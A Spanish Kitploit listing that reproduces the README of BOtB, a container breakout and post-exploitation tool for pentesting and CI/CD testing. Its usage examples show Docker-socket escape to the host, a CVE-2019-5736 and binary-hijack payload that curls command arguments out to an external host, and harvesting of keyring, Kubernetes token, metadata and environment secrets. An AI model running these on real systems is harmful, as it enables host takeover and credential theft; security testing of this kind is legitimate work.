Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
botb — Una herramienta de análisis y explotación de contenedores para pentesters e ingenieros. | Kitploit
Herramientas/GitHubGitHub/brompwnie/botb
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónPruebas de PenetraciónSeguridad en la NubeEscape de Contenedores
GitHubbrompwnie/botb

botb

Una herramienta de análisis y explotación de contenedores para pentesters e ingenieros.

Ver Repositorio
68456hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Github All Releases

Salir de la Caja (BOtB)

BOtB es una herramienta de análisis y explotación de contenedores diseñada para ser utilizada por pentesters e ingenieros, además de ser compatible con CI/CD usando tecnologías CI/CD comunes.

¿Qué hace?

BOtB es una herramienta de línea de comandos que te permite:

  • Explotar vulnerabilidades comunes de contenedores
  • Realizar acciones comunes de post-explotación en contenedores
  • Proporcionar capacidad cuando ciertas herramientas o binarios no están disponibles en el contenedor
  • Usar las capacidades de BOtB con tecnologías CI/CD para probar despliegues de contenedores
  • Realizar lo anterior de forma manual o automatizada

Capacidades Actuales

  • Realizar una salida del contenedor a través de demonios Docker expuestos (docker.sock)
  • Realizar una salida del contenedor mediante CVE-2019-5736
  • Realizar una salida de contenedor privilegiado mediante CAPS y SYSCALLS habilitados
  • Extraer datos de anillos de claves del kernel de Linux abusando de la syscall Keyctl a través de perfiles seccomp permisivos
  • Identificar secretos de cuentas de servicio de Kubernetes e intentar usarlos
  • Identificar puntos finales de servicios de metadatos, por ejemplo: http://169.254.169.254, http://metadata.google.internal/ y http://100.100.100.200/
  • Extraer información de metadatos de los puntos finales de metadatos de GCP
  • Analizar e identificar cadenas sensibles en ENV y procesos en ProcFS, por ejemplo /Proc/{pid}/Environ
  • Encontrar e identificar sockets de dominio UNIX
  • Identificar sockets de dominio UNIX que soportan HTTP
  • Encontrar e identificar el demonio Docker en sockets de dominio UNIX o en una interfaz
  • Secuestrar binarios del host con un payload personalizado
  • Realizar acciones en modo CI/CD y solo devolver códigos de salida > 0
  • Enviar datos a un bucket de S3
  • Forzar a BOtB a devolver siempre un código de salida 0 (útil para CI/CD no bloqueante)
  • Realizar lo anterior desde los argumentos de CLI o desde un archivo de configuración YAML
  • Realizar búsqueda inversa de DNS

Instalación

Binarios

Para instrucciones de instalación desde binarios, visite la Página de Lanzamientos.

Via Go

root@kitploit:~
go get github.com/brompwnie/botb

Construir desde el código fuente

Construyendo BOtB mediante Go:

root@kitploit:~
go build

Construyendo BOtB mediante Make:

root@kitploit:~
make

Uso

BOtB puede compilarse en un binario para la plataforma objetivo y admite el siguiente uso

root@kitploit:~
./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

BOtB también puede ser instruido para cargar configuraciones desde un archivo YAML a través del parámetro config

root@kitploit:~
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

Los siguientes ejemplos de uso devolverán un código de salida > 0 por defecto cuando se detecte una anomalía, esto se representa con "echo $?" que muestra el código de salida del último comando ejecutado.

Identificar y Extraer Secretos de Anillos de Claves del Kernel de Linux que No han Sido Protegidos Adecuadamente

Más información del autor original aquí https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

root@kitploit:~
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

Identificar y Verificar Secretos de Cuentas de Servicio de Kubernetes Montadas

root@kitploit:~
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

Salir del Contenedor a Través del Demonio Docker Expuesto

Este enfoque proporciona una salida interactiva TTY en el host.

root@kitploit:~
#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 

Salir de un Contenedor pero de Forma Amigable con CI/CD

Este enfoque no escapa a una TTY en el host, sino que devuelve un código de salida > 0 para indicar una salida exitosa del contenedor.

root@kitploit:~
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1

Explotar CVE-2019-5736 con un Payload Personalizado

Tenga en cuenta que para que este exploit funcione, se debe ejecutar un proceso en el contenedor objetivo en este escenario.

root@kitploit:~
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished

Secuestrar Comandos/Binarios en un Host con un Payload Personalizado

Tenga en cuenta que esto se puede usar para probar si entidades externas están ejecutando comandos dentro del contenedor. Ejemplos son Docker Exec y Kubetcl CP.

root@kitploit:~
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished

Encontrar Sockets de Dominio UNIX

root@kitploit:~
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished

#echo $?
1

Encontrar un Demonio Docker

root@kitploit:~
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished

#echo $?
1

Analizar ENV y ProcFS Environ en Busca de Cadenas Sensibles

Por defecto, BOtB buscará los dos términos "secret" y "password".

root@kitploit:~
 ./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV:  foo=secretpassword
[+] Finished

#echo $?
1

Se puede proporcionar una lista de palabras a BOtB para buscar palabras clave particulares.

root@kitploit:~
#cat wordlist.txt 
moo

# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished

# echo $?
0

Escanear Puntos Finales de Metadatos

BOtB escanea por defecto dos puntos finales de metadatos.

root@kitploit:~
#  ./bob_linux_amd64 -metadata=true                    
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished

# echo $?
0

BOtB también puede recibir una lista de puntos finales para escanear.

root@kitploit:~
#  cat endpoints.txt 
https://heroku.com

#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished

# echo $?
1

Escanear Sockets de Dominio UNIX que Responden a HTTP

root@kitploit:~
#  ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished

Extraer Datos de la Instancia de Metadatos de GCP

root@kitploit:~
#  ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to:  169.254.169.254:80

[*] Output->
 HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....

Enviar Datos a un Bucket de AWS S3

root@kitploit:~
#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished

Salir de un Contenedor Privilegiado

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output 
docker-desktop

Forzar a BOtB a Siempre Tener Éxito con un Código de Salida 0

Esto es útil para pruebas CI/CD no bloqueantes.

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0

Usar BOtB con un Archivo de Configuración YAML

Ejemplo de archivo YAML cfg.yml

root@kitploit:~
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets

Ejecutar BOtB con el YAML anterior

root@kitploit:~
#  ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished

Usar BOtB con CI/CD

BOtB se puede usar con tecnologías CI/CD que utilizan códigos de salida para determinar si las pruebas han pasado o fallado. A continuación se muestra un script de Shell que ejecuta dos pruebas de BOtB y los códigos de salida de las dos pruebas se utilizan para establecer la salida del script de Shell. Si alguna de las dos pruebas devuelve un código de salida > 0, la prueba que ejecuta el script de Shell fallará.

root@kitploit:~
#!/bin/sh 

exitCode=0

echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?

echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?

(exit $exitCode)

El script anterior no es la única forma de usar BOtB con tecnologías CI/CD, pero también podría usarse por sí solo sin estar envuelto en un script de Shell. Un ejemplo de configuración YML sería:

root@kitploit:~
version: 2
cicd:
  runATest: ./bob_linux_amd64 -autopwn -cicd=true

A continuación se muestra un ejemplo de configuración que se puede usar con Heroku CI:

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bob_linux_amd64 -autopwn -cicd=true"
            }
        }
    }
}

A continuación se muestra un ejemplo de configuración con Heroku CI pero usando un script de Shell envolvente:

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bin/testSocksAndEnv.sh"
            }
        }
    }
}

Problemas, Errores y Mejoras

Para cualquier error, por favor envíe un issue. Hay una larga lista de mejoras, pero por favor envíe un Issue si hay algo que desee ver añadido a BOtB.

Referencias y Recursos

Esta herramienta no sería posible sin la contribución de otros en la comunidad, a continuación se muestra una lista de recursos que me han ayudado.

  • https://docs.docker.com/engine/security/https/
  • https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
  • https://docs.docker.com/engine/reference/commandline/exec/
  • https://github.com/GoogleContainerTools/container-structure-test
  • https://github.com/coreos/clair
  • https://github.com/aquasecurity/docker-bench
  • https://www.cisecurity.org/benchmark/docker/
  • https://github.com/Frichetten/CVE-2019-5736-PoC
  • https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
  • https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
  • https://github.com/wagoodman/dive
  • https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
  • https://github.com/singe/container-breakouts
  • https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
  • https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/

Charlas y Eventos

Se tiene previsto que BOtB se presente en los siguientes:

  • BSides London 2019 (https://sched.co/PAwB) y las diapositivas se pueden encontrar aquí https://github.com/brompwnie/bsideslondon2019
  • Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
  • DefCon 27 Cloud Village (https://cloud-village.org/)
  • Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
  • DevSecCon London 2019 (https://www.devseccon.com/london-2019/)

Licencia

BOtB está licenciado bajo una Licencia Internacional Creative Commons Attribution-NonCommercial-ShareAlike 4.0 (http://creativecommons.org/licenses/by-nc-sa/4.0).

Descargar herramienta
  • https://github.com/antitree/keyctl-unmask#keyctl-unmask
  • https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/